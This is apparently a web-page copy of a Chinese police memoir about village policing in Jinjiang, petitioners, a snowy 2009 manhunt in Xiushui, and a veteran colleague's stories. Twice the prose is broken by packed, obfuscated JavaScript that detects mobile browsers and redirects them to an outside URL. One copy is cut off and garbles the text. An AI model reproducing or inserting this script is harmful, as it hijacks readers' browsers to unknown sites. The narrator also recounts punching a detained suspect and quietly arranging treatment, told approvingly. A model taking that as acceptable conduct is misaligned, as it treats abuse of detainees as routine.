南霞美虽然华侨多，但是村财比较紧张，通俗来讲，工厂少，农田多，从事农业劳动的人口多，但是收入低，属于比较穷的村子，事情相对也比较少，前任村支书为了扩展财路，把村里的集体用地私自卖给了工厂，自己也占用了一部分耕地，最后冬窗事后，被法院判刑，村长因病死于任上，继任者每日都是忙着相互吵架，村里的业务几乎停滞，跟西霞美完全两样。很多村里的事务，都没有人管理。华侨别墅的保护工作，只能寄希望于巡逻队尽职尽责了。 因为村干部不得力，南霞美的工作基本停滞，巡逻队员的选任改造，装备的更新都是问题，好在有几家效益还不错的企业，捐钱捐物，加上南霞美，位置偏僻，人口少，事情很少，我的日子也过得悠哉，我每天上班，处理完手头上的事情，一般是先去西霞美，然后去南霞美，在村里转悠，熟悉情况，找人聊聊天，摸摸情况。这天我又骑着摩托车，从西霞美走那段没有修好的泥土路到南霞美，刚进村，就有村民跟我讲，在村南边的华侨别墅里，好像有人，得到这个情况，我立即打电话叫来巡逻队员，白天只剩两个队员，我们三个人，刚到别墅院子，就看到别墅一个人影从后面翻出窗户，沿着小土路，往西霞美方向跑，我们三个立即分头追过去，一个骑摩托车绕大路到前面路口，嫌疑人跑得飞快，我们跟在后面，越追越远，追到两村中间的农田时，人消失了，这是一大片农田，有的农田缺乏人照顾，已经荒芜，长着各种杂草，旁边还有小水塘，我打电话通知西霞美巡逻队来帮忙，打电话的时候，从草丛中窜出一个人，这不是我们刚刚追的人，急忙赶紧追过去，很快他已经到河沟边，我们追到河边，他已经在河里了，那条河当时长满绿葫芦，厚厚的，他可能觉得那个是草，哪里知道是浮游植物，水不深也不浅，他肩膀以下都在水里，继续超西霞美方向走去，进入跟河沟相连的池塘，我们几个人就围过来，在东南西北四个岸边看着他，跟着他移动，他在水里，我们在岸边，他涉水往哪里走，我们就往哪里跟，我们不下水，他也不上岸，当时气温并不高，就这样僵持了两三小时侯，我们最近离他始终有十来米远，随着气温的降低，他手脚用的爬上岸，巡逻队员上前拉他一把，他上岸以后，直接瘫坐在岸上，浑身发抖，我走过去，把他铐住。问他才知道原来他一路奔跑过来，再加上一不小心掉进水里，体能消耗大，基本上没有力气了，早上没吃饭，本来计划把别墅里的东西拆一点去卖钱，买吃的，又累又饿，水里温度低，整个人受不了，所以上岸了。 我们几个人押着他徒步走到别墅里，这是一栋两层的西式建筑，用的是本地常见的花岗岩石，红砖等材料，不过满目疮痍，门大部分都损坏，窗户都已没有玻璃，部分窗户已经被拆走，灯和电线，因为是明线，已经所剩无几，中国人很可怕，如果没人管，按这种发展速度，这栋房子很快就变成一块空地吧，能拆好拆都被拆走了，这个嫌疑人，应该不是第一次来，也不是第一个来的，现场我们找到房子里被拆下的铁质窗户配件，电线已经捆好。 据嫌疑人交代，他头天晚上睡在这里，白天醒过来后，开始拆东西，捆好，我们就过来了，他只好跑。但是掉进了水里，被抓住。这事还上了当时新闻报纸，最后他被行政拘留。 前前后后，我在当社区民警抓了不少小偷，送去拘留，破了很多小案件，理各种行政案件，例如赌博，吸毒，拉客□□，打架，故意损毁财物，抢夺等等，治安案件有一种是代销赃物，就是销赃数额未达到刑事处罚的案件，一起案件我就拘留了五个人。我在西霞美接到一个群众张某报警，说前几天买的二手摩托车被偷了，价值500元，我就举得奇怪，怎么那么便宜，经询问下去，张某是摩托车从李某手上买的，车子没有手续500元；巧的是，我们晚上组织设卡行动，刘某骑着无牌摩托车被我们拦下来，那辆车正是张某报称被盗的摩托车，但是张某提供不了手续，据刘某交代，他有车子钥匙，那天看到车子停在路边，就过去骑走了，车子之前他卖个徐某了，徐某又将车卖给了郑某，郑某卖给李某，李某卖给张某，最后我把所有涉案的带过来调查，我查了一下车子车架号，发现真的是被盗车辆不过不是张某，而是其他人，涉案的多人，因明知没有手续，还以明显低于市场价的价格买卖摩托车，涉嫌代销赃物，一个卖给一个，只好全部拘留。 5. 第 5 章 九、初遇上访户 社区民警，有很多秘密，很多事情。例如上访户，当时西霞美有个重点上访户，江小娜，其实她不是本地人，因为与本地一名已婚男子同居，日久生情，要求与男子结婚，分男子的家产，男子家中经营一家鞋底厂，有些家底，但是都是老婆赚钱，他来花天酒地，所以男子拒绝离婚，江小娜以跳楼威胁，谁知从十六楼掉落到十二楼，虽捡回一条命，但是身上多处受伤，特别是脸也受伤，此后男子仍然与她住在一起，江小娜，带着伤，怀孕了，这还了得，挺着肚子来到西霞美闹腾，要求住进家里，分家财，林家肯定不同意，觉得江小娜神经病，江小娜哪里受的了这个气，打电话报警，说被□□，要求处理，民警经调查后，认为这不是案件，不予受理，江小娜一招不成，又来一招，到北京上方，但是□□局不理她，她等到肚子大了以后，到北京天安门附近喊冤，举着牌子写冤，躺在地上，引起了公安部领导的注意，根据江小娜讲述“被□□的经过”，派人到晋江督办此案，但是事情查清楚后，就回去了。江小娜的诉求没有被满足，最后通过协调，由林家支付将近一百万，给江小娜，用于治疗和抚养小孩，从此江小娜只要有事情，就来晋江闹一下，或者去上访，各种诉求，后来她还去整容，到福州生活，不过有事，她就来趟晋江，要求公安机关干这干那，大家都躲着他，我是刚来就遭遇她，得知我是新片警就开始跟着我，是躲不掉了，她的工作是做不通，就让她在社区跟着吧，跟了一整天，按照她的需求，找人，做工作，一副积极帮忙的样子，见没有结果，她就回去了，后来她每次来，我都是积极的应对，消极的效果。 南霞美也有一个重点上访户，陈清文，时年45岁，莆田人，十几岁的时候，从仙游过继到晋江给人当儿子，就是养子，从此落户南霞美，并且继承了养父的房屋，田地等，喜欢练拳，力气很大，年轻时学其他人办过工厂，但是经营不善倒了，后来以种地务工为生。经常进京上访，反映原村支书杨金轮贪赃枉法，杨金伦被判刑有期徒刑8个月后刑满释放，自己做生意，但是陈清问不依不饶，以判罚过轻等各种理由，经常上访，由于陈清文性格偏激容易受刺激，力气大，能打架，与其他村民几乎都有过节，经常与人发生冲突，我的手机存着他的号码，有事我一般很快赶到。为了做通我费了洪荒之力，但是收效甚微，虽然不再进京，但是从不放弃上访。后来，他迁回仙游老家，在老家村里当村干部，再也没有上访，不过我那时已经去刑警，做到一半的工作留给了我的继任者小江。 十、雪夜追凶 片警工作，有苦有甜，至今我到村里去已过十年，还有很多村民认识我，记得我，看到我对我树大拇指，很客气，每每此时，都认为自己努力没有白费，金奖银奖不如百姓夸奖，金杯银杯不如百姓口碑，算是说到我心坎里了。 我片警生涯很短暂，到洋埭截止，09年这起命案发生后，我被调入专案组，参与案件侦破，原因很简单，我在洋埭工作，还有我是九江人，为什么九江人就要调入专案组呢，我是当时局里唯一一个九江人，到了专案组我才知道原因，我当时其实很兴奋，毕竟这是我参与的第一起命案的侦破工作，我一直想加入晋江刑侦大队，终于可以如愿了。 案件刚刚开始的时候就是一个无头案，死者凶手，是谁都不知道，一方面要调查，死的是谁，一方面，还要找出凶手、经过前期侦察和特勤耳目（线人）提供情报，案件是两伙人斗殴导致，其中一方是□□团伙组织者，类似打手看场子，死了一个打手；另一伙人是路过的，起冲突，被打还手，砍死人。□□一方全跑了，什么人都找不到，很排查身份，就算找到了，也不知道另一伙人身份。 在大规模实地走访排查的时候，有人反映，两方都有人受伤，其中受伤一方，雇摩托车过来打架，再雇摩托车离开，最后，重案队的找到了摩托车司机，刚开始以为司机是同伙，后来司机承认，自己开摩的的，就是接送一下，同时也反映，乘客有人受伤，送到医院去接受治疗，后来到医院，找到了受伤的人的姓名，通过核查，是江西九江人，让我参与侦查，就是为了发挥我的地域优势。很快我就确认，受伤的嫌疑人已经逃回老家修水，事不宜迟，简单收拾行李，乘飞机飞往南昌，再去九江追捕嫌疑人，专案组派出四个人，我、勇哥、阿尤、金帅，我们赶到九江市局，市局有很多熟人，于是对接工作很顺利，第一天住在九江市公安局旁边米兰花酒店。晚上经过梳理，要面临但几个问题，第一，嫌疑人是个男性，但是查到的户籍照片是一名女子，是什么情况，要摸清楚，现在追捕的嫌疑人长什么样，我们并不清楚；第二，嫌疑人藏身修水，离九江两百多公里，如何安排行动；第三，交通工具怎么解决。 我从家里借了一台中华尊驰，作为我们临时交通工具，我爸亲自送过来，说来惭愧，办案十二天，路过家门，我一直没有回过家。需要车辆，还是老爸送到九江来，后来抓到人以后，从老家火车站出发回程的时候，他过来开走的。家人总是在背后默默地支持理解我的工作。 留下金帅，继续在九江对接工作，我开车三个人直接到修水县，当时高速没有修通，一半高速一半国道，开了将近四个小时，才到修水县城，我找到了莲花洞培训的舍友张阳，此时他在刑侦工作，经过协调，由他配合我们工作，他还是一点没变，热情，好客，那个时候他儿子刚出生，父母都过来照顾。嫌疑人的户籍地离县城约70公里，位于三省交界处，情况极为复杂，张阳给我们解释，户籍照片为什么是个女的，原因是之前江西省信息采集任务很近，雇了很多临时人员采集，可能工作不认真，就用了那张照片，不过嫌疑人同户人员姐姐没有照片，是不是他姐姐，只是怀疑，事后证明我的怀疑是对的。为了能够更好的开展工作，我们决定留下来，当时住在珠江大酒店，是修河边上一家四星级酒店，环境不错，特别是是在修河边上，冬日的修河清澈见底，风景宜人，很适合散步，只要没事，我都会去河边走走。 张阳联系了当地派出所的教导员，来协助我们工作，由于当地情况复杂，不建议我们下去开展工作，以防打草惊蛇，由教导员亲自安排布建特勤耳目，在等待耳目报告消息的时候， 此时突然冷空气造访，气温骤降十几度，因为匆忙出发，没有准备衣物，我穿着单衣加薄外套，就待在房间不出门，勇哥带队，压力大，目标早日抓到人回去，每天在电脑前研究数据，手在光光的脑袋上摸来摸去，擦得头皮亮亮的，勇哥喜欢打篮球，身材很好，身体素质也很好，有时我们要去修水县公安局打篮球，我球打得不好，我一般都是去跑步。阿尤练武出身，个子不高，看上去很精干，他身手很好，功夫了得，尤其是腿上功夫，正常人一个边腿过去，基本上就倒了，没事的时候也喜欢去健身房锻炼，于是每天下午，我们三个就去健身房，酒店的健身房很小，器材不多，只有我们三个人去，旁边是一排的麻将房，玩的人很多。 就这样，来来回回等了七天，终于耳目传回消息，我们要找的嫌疑人额头上有伤，缝了针，现在在家养伤。收到这个消息，我们连夜赶到修水白岭镇，看清地点后，准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二天，我们下午先到了白岭镇，在当地派出所吃晚饭，当时派出所八个人，民警都很年轻，积极性很高，都想跟我们去抓捕，最后留一个人值守，剩下的人由所长带队全部出动，他们开的的长安面包车，我们开着中华，天黑以后等睡觉的时候再动手，下午天空已经在开始飘着雪花，雪越下越大，方案是这样，当时民风彪悍，人抓住都有可能带不出去，位置在山脚下，翻过山就到湖北了，我们把车停在村外面，大约一两公里的地方，走路进去，因为下雪，天特别黑，嫌疑人藏身在一栋乡下常见的楼房内，典型的两层小民房，一楼楼层很高，二楼有阳台，我们人多，四个人进房子抓人，剩下把房子四面围住，防止逃脱。我们一行人悄无声息走到那栋楼的时候，大门还没关，一楼还有人在活动，我们各自进去位置，四个人进屋搜捕，突然屋内很吵，楼上大声喊叫，我抬头一看，楼上有个黑影，直接从二楼阳台调下，往山的野地方向跑，我急忙追过去，接着看到勇哥也从楼上跳下，张阳跟着勇哥跳下，我们几个人几乎同时跑向嫌疑人，嫌疑人已经被当地派出所安排守这位置的兄弟控制住，我们跑向他们的时候，路过一个深沟，上面一块木板，当我踩到木板，木板掉了，我迅速扑向前方，滚到地上，没有掉进深沟，吓我一身冷汗，用手电筒照嫌疑人，额头上一道刀疤，刚刚拆掉缝针的线，伤口还没有完全好。按照原方案，当地的兄弟殿后，做当事人家属工作，我和张阳、勇哥、阿尤四个人押着嫌疑人快速撤离，跑向车子，我们轮流扛着嫌疑人，一路快跑上了车，全身汗湿透，起动车子，车子是手动挡的，我踩离合的时候，左脚还在发软无力，勉强开车原路返回，刚刚驶出村口，一辆蓝色的农用运输车堵住去路，我倒吸了一口凉气，不知道哪里来的勇气，我按了几声喇叭，农用车司机掉头，给我们让出一条路，我开车一路狂奔，也没有回派出所，直接回县局，一路雪下得很大。到了县城已经是晚上十一点多，连夜提审嫌疑人，嫌疑人交代案件经过，其表兄路过洋埭旧村时，骂了一句拉客的□□女，惹怒了看场子的马仔打手，就过来打其表兄，表兄寡不敌众，逃回来后，喊他们三个人过去报酬，于是就雇车过去报仇，到了跟对方打了起来，对方准备了刀具，晚上也看不清，自己在混战中头被刀划伤，他们抢过刀，也跟对方互砍，然后有人报警，我们就散了，后来听说死了人，我们就各自走了。审讯完，做完笔录，将嫌疑人送进看守所羁押，修水看守所就在修水公安局后面山坡上。 第三天，办完手续，勇哥急着回家，他是很顾家的人，于是全程我开车押着嫌疑人返回九江市区，人当晚羁押九江市看守所，和金帅汇合继续住玉兰花酒店。 第四天，从看守所把嫌疑人提回来，从瑞昌坐火车返回，发车时候，天下起了鹅毛大雪，白茫茫一片。历时十二天，我的第一次追捕任务顺利结束。 6. 第 6 章 Old soldiers never die, they just fade away。 老兵不死，只是逐渐凋零 --麦克阿瑟（美国） 一、人间惨案 2017年5月15日，我调任九江市公安局刑侦支队第一天正式上班，被派往浔阳分局刑侦大队基层锻炼，熟悉九江情况，早上刚到单位，就接到一个活，当日凌晨，在九江市浔阳区一居民小区内，一名男子将自己妻子儿子杀死，后打电话110报警自首，现场惨烈，死亡的儿子仅十二岁，上小学六年级。我负责调查外围视频监控，看看是否异常。经查，嫌疑人为九江市教育系统一名军转干部，副团职转业，半年前转业回九江工作，患有抑郁症。因为不直接参与审讯，无法得知他是转业前得的抑郁症还是，专业后得的抑郁症，因为回来工作第一天，遭遇这样的事情，我有点抑郁，也给我提了个醒，我还需要很长时间调整自己的心理状态适应九江的现状。还有一个问题，心理疾病是很可怕的。 二、军转干部 在公安系统，有一群这样的人:出身军营，历经磨练，为国家为人民把最好的年华，留在了那里，统称为最可爱的人，退出现役以后，来到公安机关，穿上警服继续守卫着人民。在内部，他们有一种统一的称呼军转干部。工作多年，我的身边一直都有一群这样最可爱的人，他们从抛洒青春热血的军营来到警营，重新适应新的岗位，努力学习，在各个岗位上默默的付出，虽是半路出家，很多都成为专家能手。 三、老兵“喝两杯” （一）故事一 徒步抢夺案 2016年，鞋都所为老林举办光荣退休仪式，这位从越南战场上归来的老兵，脱下戎装，正式回家颐养天年。此前一天，他最后一次到所管辖区，跟大家告别。 “喝两杯”是我给他取的外号，因为他姓林，林的发言跟闽南语“饮”“喝”的发音类似，我总叫他喝两杯，他总是不理我这个称呼，只能叫他老林。老林是土生土长的晋江人，皮肤较黑，个子不高，说话很有意思，性格直爽，那时施副所长负责我们这个片区，老林总是怼他，甚至伸出中指；他说普通话有很浓重的闽南口音，声音略带沙哑，对我这些年轻人特别照顾，经常帮我们说话，替我们打抱不平。老林，桂林陆军指挥学校毕业，79年自卫反击战时，刚刚军校毕业，还是见习排长，带着团属侦查排，跨过国境，深入越南境内，一路征战，回国后，从连职干部转业，回到家乡，分配到公安局工作，干过刑侦国保等警种，后来到鞋都所，当了一名社区民警，跟我们这帮年轻人一块吃苦。作为一个名亲历战火的，从战场上归来的老兵，总是有一份从容淡定和安宁，追求不多，乐于满足，鞋都所工作辛苦，有时大家坐在一起开吐槽大会，但是从未听他有怨言。当初跟他一起工作的同事，很多都是局领导了，他完全可以去轻松一点岗位，但是他很满足，不想给领导添麻烦，安心做着社区民警，直到退休。 2006年，我到晋江公安局鞋都镇派出所任社区民警时，第一次见老林，当时我跟他分到同一个片区，我们片区六个民警，三班倒，我跟老林值同一个班，这是领导综合考虑，老带新，特别是我刚到，新单位新环境新工作，很多业务都不熟悉，语言也不熟悉，人员也不熟悉，领导安排一位老同志跟我搭班，互补所长，更好的工作。我们片区，共有九个行政村，按照户籍人口，由各个片警独立负责，六个人分成三班，白天工作日时，各自负责各自管片的事务，如果同一班的人休假，就先替他处理，所以一般不会安排同一班的人同时休假，综合科内勤安排休假是个脑力活，不过公休假都是年前就规划好的。到了晚上值班，值班的两个民警就要先期处理九个行政区的事务，一般轮到晚上值班时，会每人再分几个村，放到所里值班表中，有事各自先处理，我分5个，他4个，表面上的我分的村多，实际上他4个村加起来比我这5个村更大，事务更多，具体的警务处理，就看运气了，运气好一晚睡大觉，运气不好，整晚没得歇。不过，一个人忙不过来的时候，另外一个再过来帮吗。特别遇到晚上要处理的案件，就需要两个人共同处理了。 我们一起值班第一天晚上，值班时送来两个人，一个男子浑身是伤，另一个是个小弱女子，出警的同事介绍，男子在鞋都镇花厅口桥头一个路口抢夺女子的手机，跑进巷子，被现场群众抓获，暴打了一顿后，再打110报警，我们出警的同志接过来的。经过刑侦中队民警审查，嫌疑人交代这一起案件，被抢的手机是一部低端山寨手机，新机就900元，当时的刑事案件抢夺移送起诉的案值，最低1000元，本案的性质就变成了治安案件。 我和老林的第一次合作开始了，因为他不会使用电脑，当年已经50岁了，学习的劲头差一点，我们两个人分工，他负责去做嫌疑人的询问笔录，和证人笔录，我负责受害人笔录，以及用电脑打印治安案件相关的表格等法律手续，那个时代，做笔录都是用手写，用专用的信纸，使用墨水笔写。老林是老同志，业务熟练，拿着钢笔做笔录写得非常，又工整，很快就写完了，而我笔录做得少，写字比较慢，因为写的少，还容易写错字，就要涂改，因为涂改次数较多，被法制审核部门的同事说过很多次，有时甚至要求我重新做，我是要脸的人，这点事我深受启发，凡事要认真，我耐着性子一点点改正，做笔录时努力将每个字都写清楚，尽量不要出错涂改，这个习惯一直延续到现在，我做工作日志写字的时候，都是一笔一划的写，虽然写得不好看，但是我努力把每个字写工整。那天我匆忙做完被害人询问笔录，然后押送嫌疑人辨认确认现场地点，之后按照核实后的嫌疑人身份，被害人身份，开始制作法律手续，2006年，还没有办公系统，也没有统一的执法办案系统，法律文书就是参照之前发布的样版，用WORD编排一个一样表格，然后填入内容，打印出来，按照行政案件办理流程，依次拿给办案单位领导签字，法制部门审核，局领导审批签字，然后盖上公章，审批完后，在去打印制作处罚决定书。这名抢夺手机的男子，因为没有前科，如果有前科，就可以送劳动教养，没有前科，就先办理治安拘留，最后按照《治安管理处罚法》，处行政拘留十四天。 将所有的取证，法律文书制作完以后，我和老林押送违法嫌疑人到拘留所执行拘留，拘留所当时在党校路，市委党校对面，那时一条仅容纳两辆车通行的车道，拘留所门口没有位置停止，一般都是让司机在车上等，随时准备给来往的车辆让路，以免造成拥堵，拘留所由几栋石头房子组成，绿化很好环境优雅，就是办公条件较为艰苦，只有办公区和监区，两个区中间就只有一道门，而且办公区几乎是全开放的，进入拘留所就能长驱直入到办公区，跟看守所不一样，看守所则三道门岗，很严格。拘留所当时管理方式还是使用的手动管理，就是使用小标签，写上人员姓名涉嫌违法行为，日期，羁押期，放在一个定在墙上的类似盒子的格子上，用橡皮筋固定，每个监舍一栏，上面有几个人可以数，去过医院的知道，在医院住院部护士站，经常可以看到类似的小标签管理格。拘留所建设年代久远，已经远远不能适应时代发展，虽然大部分关押时间较短，但是数量大，拘留搬迁前已经人满为患，监舍已经关不下了，晋江管制区禁止燃放烟花爆竹，违反者拘留，大部分都是拘留1日，我记得我有一次送了几十人到拘留所，最后拘留所关不下，就把人临时看管在会议室，第二天就办手续释放了。拘留所搬迁前，几乎都是天天爆满，监舍床位紧张。鞋都所，几乎每天都要送人过去，事实上，刑侦每天也几乎要送人到看守所羁押。 跟老林第一次配合就很默契，案件晚7点移交过来，我们晚11点就把人送进了拘留所，四个小时就做完了，老林的经验丰富，起主要作用，这个老兵还是很厉害的。 （二）故事二自残的嫌疑人 虽然是社区民警，但是我还是很喜欢研究侦查破案的，辖区当时有个建筑工作，是喜得龙公司总部，当时成功在海外借壳上市，不过十年后，这个公司因经营不善破产了，企业老板还因骗贷罪被判处有期徒刑六年。这个总部当时还在建设，前门属于梧埭村，后门属于南霞美村，属于我的辖区，基本上这个厂的事基本上都是我在处理。当时的建筑工地，工地的向我们反映经常有钢筋被盗，数量不多，都是预置好的，老实少一些，影响工程进度，因为没有监控，没有目击证人，这个事情基本上就是个悬案了，因为案件案值较低，未达到起诉标准，没有立案接入，最后此类案件只能是我们社区民警来搞，基本上就是提醒加强防范了，最后以前这些案件基本上就石沉大海了。但是我比较喜欢研究破案，也没有人教我，就是根据看到的一些案件，电影电视里学习分析的一些手法，还有就是向老民警请教，最后采取本办法，蹲守，就是电影电视中常出现的蹲坑，就是在嫌疑人可能出现的地方或者案件可能发生的地方守候，等待抓捕的过程，被称为蹲坑。因为老是有案件，我不服气，我得解决，于是轮到我值班，我就带人着便衣，在可能发生案件的地方守着，功夫不负有心人，当晚我就路边发现一名男子，骑着三轮车，趁工地看管松懈，拿了大约一百斤的扎好的钢筋，弄上自行车，刚要了离开，被我和巡逻队员当场抓住，然后带回去审讯，经过核查身份，嫌疑人有盗窃前科，嫌疑人总是不承认自己之前有偷过，我就很生气，直接一拳打到他，人马上倒地，等把人扶起来，发现下巴有个大的口子，在外网冒血，当时我就傻了，赶紧跟老林说这事，他跟我说，没有关系，很好处理，然后叫我把嫌疑人送到坊脚辖区的医院，帮我联系医院，在坊脚有一家叫新华医院的莆田系私人医院，叫新华医院，招牌很多，我把人送过去，医院就是清创处理，然后缝了几针，开了点消炎药，我带回所里，做笔录，取证，然后办理案件，送拘留所，就着报劳动教养，最后被决定执行劳动教养一年，我就去拘留所把人提出，押送到泉州清源山下的劳动教养所，执行劳动教养。 后来，老林也遭遇了一次类似的事情，群众在辖区工厂宿舍，抓获一名涉嫌入室盗窃的男子张某，扭送到派出所，很顺利的办理了各项手续，送拘留所，因有前科，然后报劳动教养审批，第二天拘留所来电话，嫌疑人吞了东西，自称是被抓时为了逃避打击，故意吞了一根铁丝到肚子里，我们把嫌疑人送到医院拍片，然后就发现嫌疑人体内有一根铁丝在食道中， 在基层呆久了，经常会遭遇各种嫌疑人吞东西，一般都是小物件，比如戒指、硬币、水瓶盖之类的，但是都是可以通过排泄的方式，排出体外，有名的泻药是菜油加生韭菜，一般都是涉毒人员常见一些；但是第一次看到普通的治安案件，嫌疑人为了逃避打击，居然吞一根铁丝，简直不可思议，后来见多不怪以后，才发现警察干久了，没有什么事情是不可思议的，为了逃避打击处理，坏人的拼命程度是我们无法想象的，只有亲身经历，你才能体会，我见过扒手从口中拿出刀片，直接割伤自己的脸，扒手是最喜欢吞东西的犯罪类型之一，另一种常见的是涉毒品的犯罪嫌疑人，各种自伤自残，可以令人瞠目结舌；不过历史经验教训提醒我，何时何地都不能掉以轻心，某年，我大年三十加班，去抓捕盗窃摩托车嫌疑人，晚上，我们踹开房门时，已经惊动的嫌疑人从五楼沿每层空调外机往下跳，从三楼跳二楼的时候，没站稳，掉到地面，一只手粉碎性骨折，这些场景不只是电影才会看到，嫌疑人摸黑从二楼跳下都是小意思，某次在重庆市区，我亲眼目睹抢夺，然后我追嫌疑人，为了逃避我的追赶，他居然冲进快车道的车流中，完全不顾自己生死，还好运气不错，直接跑了，作为资深刑警的我，当时看到车流，是不敢追，任由他扬长而去，这种事经历多以后，人就见多不怪了，只是每次抓捕押解嫌疑人都精神高度紧张，处处防范。 这回这哥们，吞进去一大段铁丝，卡在食道和胃之间，即没有办法通过自身消化系统排出体外，又因为离喉咙太远，普通外科方法无法正常取出，必须做手术，开膛破肚拿出来，人暂时收押在拘留所，因为多次盗窃前科，按照当时的处理，报劳动教养处理，后来取消劳动教养制度，多次盗窃行为的不论金额案值多少，都可以以盗窃罪起诉，才解决这个难题。在劳动教养审批期间，我们就来回跑，从拘留所把人接到医院，各种检查确定手术，当时经费也紧张，这个手术的费用，都要报审批，从专项经费中支出一部分，最后在安平市医院支持下，减免部分费用，才得以顺利，做了手术把铁丝取了出来，还没等他身体康复，因为法律时限的问题，在规定时间内，直接把他押送去劳动教养。 安平市医院，还是不错的医院，特被支持晋江公安工作，有专门的绿色通道，那年在坊脚，我们发现一名老人倒在路边，应该是身患重病，送到安平市医院，俗称爱国楼医院，医院开绿色通道，收治这位老人，后来查明老人患有食道癌，已经晚期，日子不多，无法进食，通过系统查询，老人六十九岁，安徽人，我找到他家属，亲属，通知过来接人，一直都没有人来，老人一直在医院，靠医院的营养液维持生命，老人住了两个月，医院还安排一名护工，直到老人去世。 （三）故事三缴枪不杀 老林经常给我们讲越战往事，越南话“缴枪不杀，优待俘虏”，他一直记得，时常从他嘴里冒出来，我们听不懂，也不知道他说的对不对。战争，对于我们这代人来说，可能就是电视电影或者书上的图片文字，也或者是某种谈资，一笑而过，但是对于亲身经历过的人来说，这种记忆，刻骨铭心，永生不会忘记的。79年，年仅二十三的的老林，那个时候已经是一名老兵了，当兵三年，军校两年，遇到战事，提前毕业，被闷罐车拉到边境火车站，下车领一把五四手枪和子弹，就被配到作战部队，直接奔赴战场，一个二十出头的年轻人，领着一群不到二十岁的年轻人，在危机四伏的异国他乡，实践对祖国的誓言。看过高山上的花环，当时很多部队，缺乏训练，没有战斗经验，缺乏准备，很多新兵到临战前才补充到作战连队，头一天到连队，第二天就进战场，相互之间都不熟悉，那次战争的胜利，代价惨痛，暴露了很多问题，总结经验之后，才有了百万裁军，军队现代化建设。 上了战场，他们排的任务是搞侦查，不直接参加作战任务，一次，他带领全排在侦查的时候，发现越南军人，人数很少，交火之后，击毙几名，对方逃跑，然后消失，在打扫战场的时候，发现有越军挖的洞穴，那种用于藏人的，入口很小，可能是学习我们的地道战，越南人很会挖洞，美国拍的越战电影可以看到，有名的好莱坞电影《阿甘正传》就一个镜头是美国大兵钻洞清剿越共。老林不敢贸然进入洞穴，而是火力侦查，结果发现洞内有人，于是全排人，在山上四处搜索，查看洞穴的各个出口，用手榴弹炸掉大部分的口子，剩下的出入口有人把守，当时看了一下，通过对方的火力还击，判断只有一个人，老林决定抓活的。当时队伍配备了□□，直接超洞内喷射，但是因为洞内不通风，喷过去的火焰，直接又反射回来，战士没有及时躲避，自己的衣服都烧着了，眉毛都烧没了，满脸黑的。不能这么打，对方也不出来，有战士就出主意，使用辣椒，用□□，把带有辣椒的烟喷进去，喷的时候要及时卧倒，战士很多带了辣椒，还有辣椒粉，全部派上用场，还把很多湿的树枝往洞口扔，肯快洞内就浓烟滚滚，过不久，一名越军咳嗽着，爬出洞穴，被当场活捉，押回团部审讯，才知道对方是一个少校军官，大部队人马撤走后，留下来指挥，不过手下全部被歼灭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821847|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俘虏一名少校军官这件事，老林颇为得意，时常讲起这件事，说当时还因此立功受奖。 （四）故事四 火灾现场 社区民警，最怕的事情，可能就是火灾吧，社区民警是消防安全第一责任人，辖区那么多工厂，很多消防不健全，有的甚至没有，大部分人消防意识淡薄，管理也是很粗放，所以那个时候，经常有工厂着火，着火还好，千万不要有人员伤亡，如果有人员伤亡，检察院会介绍，甚至会立案调查追究刑责。作为社区民警责任，也没有办法推，只能靠运气，还有就是发生火灾祈祷不要死人。 虽然如此，有个很奇怪的现象就是，你越怕什么，就越会来什么，这好像有个定律，比如，我从来没怕过有钱，所以我一直就没钱。那几年，工厂火灾频发，为了改变这一现场，鞋都镇花了很大力气和代价，关停一批三合一工厂，整改一批消防不合格的工厂，但是火灾还是回来，往往是那些正常的工厂。数据统计表明，夏季工厂发生火灾比较多，每次辖区有火灾，值班室就会按响警铃，鞋都镇派出所那个铃是紧急集合铃，原来是用于点名，后来每次紧急集合，都是突发各种事件，夏季则十有八九是火灾，大家都很自觉，铃响赶紧收拾一下，大厅集合，司机已经启动车子，在派出所和食堂中间的通道等候，值班所领导会带队，清点人数，上车，赶往火灾现场，我们出动的主要目的是清理出消防通道，维持现场秩序，还有就是先期处置，疏散人员，查明情况，特别是否有人员被困。消防来到现场后，提供相关信息，为消防扑救提供支持，还有就是维持秩序，防止有人员干扰。中国人很喜欢看热闹，有一次晚上，辖区涵口村一鞋底厂着火，是仓库一楼着火，火势汹涌，我们先期赶往现场，把紧挨着着火仓库的宿舍楼人员紧急疏散，当时宿舍楼已经浓烟滚滚滚了，等我把人赶下楼，消防通道已经堵满了人和车，听说着火了，有的人是从几公里外开车过来围观，清理消防通道，为了让消防车离火场更近一些，方便灭火，因此生产仓库，车间堆满了各种易燃材料，那次大火烧了三十几个小时，一栋楼基本报废，消防调集了周边七十多台消防车增援，因为现场消防设施不齐全，没哟消防水源，不得已，消防采取消防车接力的方式，从约一公里外的取水点一路抽水过来灭火。 那一年，印象中着火最多的是江头村，因为是同一片区，那发生火灾，我们片区民警都是第一批到现场处置的警力，属于第一梯队，如果搞不定，火情猛烈，就会报告，再派出其他民警组成第二梯队，过来支援。那年夏天，有一次白天，又是江头一家工厂着火，我和老林赶到现场，到现场了解情况，设置警戒带，清理消防通道，阻止无关人员进入现场，由于黑烟很大，周围的群众看到，就赶过来看热闹，但是，工厂火势很大，到处都是烟，我们在几十米外设置封锁线，阻止人员车辆进入，老林脑袋上盖着一个打湿的毛巾，警服已经脱下，剩一件背心，我手上拿着一根竹棍，但是阻挡不了热情的人民群众，在用棍子推开的时候，一个老头闯过来，想要进入火场，被我用棍子扫到，这个老头就喊警察打人，瞬间，我就被老头的亲属围住，质问我问什么打人，看火灾的热情转变为讨公道的活动，因为大火产生的浓烟不断往外扩散，为了安全起见，必须把人赶往远离火场的位置，我正在被团团围住的时候，老林赶过来，一把用棍子撬开人群，拉着我就跑，也不解释，我们跑出几十米外，回头一看，我们刚刚站立的位置，已经被浓烟笼罩，还好跑得